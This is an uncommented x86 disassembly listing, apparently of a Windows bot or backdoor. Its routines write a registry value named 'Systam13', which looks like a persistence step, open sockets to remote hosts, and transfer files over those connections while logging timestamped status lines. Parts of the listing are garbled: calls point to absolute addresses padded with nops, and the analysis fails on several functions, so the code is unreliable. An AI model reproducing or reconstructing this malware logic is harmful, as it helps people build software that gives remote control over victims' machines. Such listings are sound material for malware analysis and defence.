		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_444358[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	dword_4313B4
		pop	ebx

loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444340

loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch

loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2610000h
		mov	ebx, offset dword_443A34
		mov	edi, 80h
		mov	esi, offset dword_43FA34

loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43FA34
		xor	ecx, ecx

loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_443A34
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43FA34

loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A

loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax

loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43FA34

loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144

loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C0FB

loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; sub_40E6A9+346p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"

loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43F61C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43F68C
		jmp	short loc_40C205
; ---------------------------------------------------------------------------

loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43F5D4

loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43F644
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx

loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8

loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------

loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------

loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx

loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43F6E8
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43F6A8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43F700

loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------

loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi

loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh

loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_43C80C
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh

loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		call	near ptr 26003D2h
		nop
		xor	edi, edi
		mov	esi, 1000h

loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		call	near ptr 26003D2h
		nop
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E

loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25F030Eh
		nop
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Eo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43F668
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43F694
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43F60C
		push	[ebp+var_2E]
		call	dword_43F5A4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx

loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------

loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al

loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43F690
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	near ptr 2650975h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		nop
		call	near ptr 2680C58h
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	eax
		call	dword_43F664
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43F650
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------

loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180

loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------

loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43F700
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h

loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax

loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	near ptr 26D0000h
		nop
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	near ptr 2630000h
		nop
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43F6B8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43F680
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]

loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		call	near ptr 26309DCh
		nop
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172B0

loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h

loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h

loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43F700

loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh

loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	near ptr 2600423h
		nop
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2650975h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		nop
		call	near ptr 26309DCh
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0

loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------

loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h

